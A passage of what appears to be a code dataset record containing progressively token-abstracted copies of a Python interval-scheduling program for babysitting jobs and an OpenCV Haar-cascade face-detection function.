segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S\n [j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - \n 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n total += S[length - 1][length - 1]\n\n\ndef main():\n \"\"\"\n Main function.\n return: None\n \"\"\"\n global total\n jobList = takeInput()\n jobListSorted = sortInputByEndTimeAndDay(jobList)\n maximum = jobListSorted[len(jobListSorted) - 1].day\n segregatedJobs = divideJobs(jobListSorted, maximum)\n for i in range(len(segregatedJobs)):\n algo(segregatedJobs[i])\n print(int(total))\n\n\nif __name__ == '__main__':\n main()\n", "<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\ntotal = 0\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho)\n S = [[(0) for x in range(r)] for y in range(r)]\n k = 0\n while k < len(S):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[\n j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S\n [j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - \n 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n total += S[length - 1][length - 1]\n\n\ndef main():\n \"\"\"\n Main function.\n return: None\n \"\"\"\n global total\n jobList = takeInput()\n jobListSorted = sortInputByEndTimeAndDay(jobList)\n maximum = jobListSorted[len(jobListSorted) - 1].day\n segregatedJobs = divideJobs(jobListSorted, maximum)\n for i in range(len(segregatedJobs)):\n algo(segregatedJobs[i])\n print(int(total))\n\n\nif __name__ == '__main__':\n main()\n", "<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho)\n S = [[(0) for x in range(r)] for y in range(r)]\n k = 0\n while k < len(S):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[\n j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S\n [j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - \n 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n total += S[length - 1][length - 1]\n\n\ndef main():\n \"\"\"\n Main function.\n return: None\n \"\"\"\n global total\n jobList = takeInput()\n jobListSorted = sortInputByEndTimeAndDay(jobList)\n maximum = jobListSorted[len(jobListSorted) - 1].day\n segregatedJobs = divideJobs(jobListSorted, maximum)\n for i in range(len(segregatedJobs)):\n algo(segregatedJobs[i])\n print(int(total))\n\n\nif __name__ == '__main__':\n main()\n", "<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho)\n S = [[(0) for x in range(r)] for y in range(r)]\n k = 0\n while k < len(S):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[\n j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S\n [j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - \n 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n total += S[length - 1][length - 1]\n\n\ndef main():\n \"\"\"\n Main function.\n return: None\n \"\"\"\n global total\n jobList = takeInput()\n jobListSorted = sortInputByEndTimeAndDay(jobList)\n maximum = jobListSorted[len(jobListSorted) - 1].day\n segregatedJobs = divideJobs(jobListSorted, maximum)\n for i in range(len(segregatedJobs)):\n algo(segregatedJobs[i])\n print(int(total))\n\n\n<code token>\n", "<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho)\n S = [[(0) for x in range(r)] for y in range(r)]\n k = 0\n while k < len(S):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[\n j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S\n [j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - \n 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n total += S[length - 1][length - 1]\n\n\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n<function token>\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n<function token>\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\n<function token>\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n<function token>\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n\n\nclass Job:\n <docstring token>\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n\n\nclass Job:\n <docstring token>\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n <function token>\n\n\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n\n\nclass Job:\n <docstring token>\n <function token>\n <function token>\n\n\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<class token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
9,948
1df3a5dc8ed767e20d34c2836eed79872a21a016
#LIBRERIAS import cv2 import numpy as np #FUNCION: recibe una imagen y te devuelve las coordenadas de las caras def face_detector(img, face_cascade, eye_cascade, face_f): #variables face_f xf = face_f[0] yf = face_f[1] wf = face_f[2] hf = face_f[3] #variables img xi = 0 yi = 0 wi = img.shape[1] hi = img.shape[0] #apertura de face_f con relacion a la img c = float(0.1) #esto es un 10 % print("face_f: ", xf, xf + wf, yf, yf + hf) #roi_i = img[yf: yf + hf, xf: xf + wf] #cv2.imshow("roi_i", roi_i) if xf != xi or yf != yi or wf != wi or hf != hi: #(tendre que ver si AND o OR) #face_f no es igual a img, hace falta la apertura y1 = yf - round(c * hf) y2 = yf + hf + round(c * hf) x1 = xf - round(c * wf) x2 = xf + wf + round(c * wf) roi_f = img[y1: y2, x1: x2] print("Face apertura: ", x1, x2, y1, y2) cv2.imshow('Face apertura',roi_f) else: #face_f es igual a img, no hace falta la apertura roi_f = img[face_f[1] : face_f[1] + face_f[3], face_f[0] : face_f[0] + face_f[2]] #cv2.imshow('roi_f',roi_f) #paso el roi_f a gris para un mejor tratamiento gray_img = cv2.cvtColor(roi_f,cv2.COLOR_BGR2GRAY) cv2.imshow("gray_img",gray_img) #aplicar el clasificador de caras sobre la imagen y guardo el resultado en faces: seran la x, y, height y width faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04, minNeighbors=5) print("Faces: ", faces) if type(faces) == np.ndarray: flag = -1 for x,y,w,h in faces: flag = flag + 1 #print("Face: ", x,y,w,h) if w >= 100 and w <= 125 and h >= 100 and h <= 125: print("Entro en el if de tamaño") #Region Of Interest print("Face: ", x,y,w,h) roi_gray = gray_img[y:y+h, x:x+w] cv2.imshow("roi_gray", roi_gray) #aplico el clasificador de ojos sobre la imagen de interes que se supone que es una cara y guardo el resultado en eyes eyes = eye_cascade.detectMultiScale(roi_gray) c_eyes = 0 for ex,ey,ew,eh in eyes: c_eyes = c_eyes + 1 if c_eyes >= 2: #si hay mínimo dos ojos (a veces la boca abierta la detecta como un tercer ojo), es una cara print("faces[flag]", faces[flag]) return faces[flag]
[ "#LIBRERIAS\nimport cv2\nimport numpy as np\n\n#FUNCION: recibe una imagen y te devuelve las coordenadas de las caras\ndef face_detector(img, face_cascade, eye_cascade, face_f): \n\n #variables face_f\n xf = face_f[0]\n yf = face_f[1]\n wf = face_f[2]\n hf = face_f[3]\n \n #variables img\n xi = 0\n yi = 0\n wi = img.shape[1]\n hi = img.shape[0]\n\n #apertura de face_f con relacion a la img\n c = float(0.1) #esto es un 10 %\n \n print(\"face_f: \", xf, xf + wf, yf, yf + hf)\n #roi_i = img[yf: yf + hf, xf: xf + wf]\n #cv2.imshow(\"roi_i\", roi_i)\n\n if xf != xi or yf != yi or wf != wi or hf != hi: #(tendre que ver si AND o OR)\n #face_f no es igual a img, hace falta la apertura\n \n y1 = yf - round(c * hf)\n y2 = yf + hf + round(c * hf)\n x1 = xf - round(c * wf)\n x2 = xf + wf + round(c * wf)\n\n roi_f = img[y1: y2, x1: x2]\n \n print(\"Face apertura: \", x1, x2, y1, y2)\n cv2.imshow('Face apertura',roi_f)\n\n else:\n\n #face_f es igual a img, no hace falta la apertura\n \n roi_f = img[face_f[1] : face_f[1] + face_f[3], face_f[0] : face_f[0] + face_f[2]]\n\n #cv2.imshow('roi_f',roi_f)\n\n\n\n #paso el roi_f a gris para un mejor tratamiento\n gray_img = cv2.cvtColor(roi_f,cv2.COLOR_BGR2GRAY)\n cv2.imshow(\"gray_img\",gray_img)\n \n #aplicar el clasificador de caras sobre la imagen y guardo el resultado en faces: seran la x, y, height y width\n faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04, minNeighbors=5)\n print(\"Faces: \", faces)\n\n if type(faces) == np.ndarray:\n\n flag = -1\n\n for x,y,w,h in faces:\n\n flag = flag + 1\n\n #print(\"Face: \", x,y,w,h)\n \n if w >= 100 and w <= 125 and h >= 100 and h <= 125:\n print(\"Entro en el if de tamaño\")\n #Region Of Interest\n print(\"Face: \", x,y,w,h)\n roi_gray = gray_img[y:y+h, x:x+w]\n \n cv2.imshow(\"roi_gray\", roi_gray)\n\n #aplico el clasificador de ojos sobre la imagen de interes que se supone que es una cara y guardo el resultado en eyes\n eyes = eye_cascade.detectMultiScale(roi_gray)\n \n c_eyes = 0\n\n for ex,ey,ew,eh in eyes:\n \n c_eyes = c_eyes + 1\n\n if c_eyes >= 2: #si hay mínimo dos ojos (a veces la boca abierta la detecta como un tercer ojo), es una cara\n print(\"faces[flag]\", faces[flag])\n return faces[flag]\n \n \n \n \n ", "import cv2\nimport numpy as np\n\n\ndef face_detector(img, face_cascade, eye_cascade, face_f):\n xf = face_f[0]\n yf = face_f[1]\n wf = face_f[2]\n hf = face_f[3]\n xi = 0\n yi = 0\n wi = img.shape[1]\n hi = img.shape[0]\n c = float(0.1)\n print('face_f: ', xf, xf + wf, yf, yf + hf)\n if xf != xi or yf != yi or wf != wi or hf != hi:\n y1 = yf - round(c * hf)\n y2 = yf + hf + round(c * hf)\n x1 = xf - round(c * wf)\n x2 = xf + wf + round(c * wf)\n roi_f = img[y1:y2, x1:x2]\n print('Face apertura: ', x1, x2, y1, y2)\n cv2.imshow('Face apertura', roi_f)\n else:\n roi_f = img[face_f[1]:face_f[1] + face_f[3], face_f[0]:face_f[0] +\n face_f[2]]\n gray_img = cv2.cvtColor(roi_f, cv2.COLOR_BGR2GRAY)\n cv2.imshow('gray_img', gray_img)\n faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04,\n minNeighbors=5)\n print('Faces: ', faces)\n if type(faces) == np.ndarray:\n flag = -1\n for x, y, w, h in faces:\n flag = flag + 1\n if w >= 100 and w <= 125 and h >= 100 and h <= 125:\n print('Entro en el if de tamaño')\n print('Face: ', x, y, w, h)\n roi_gray = gray_img[y:y + h, x:x + w]\n cv2.imshow('roi_gray', roi_gray)\n eyes = eye_cascade.detectMultiScale(roi_gray)\n c_eyes = 0\n for ex, ey, ew, eh in eyes:\n c_eyes = c_eyes + 1\n if c_eyes >= 2:\n print('faces[flag]', faces[flag])\n return faces[flag]\n", "<import token>\n\n\ndef 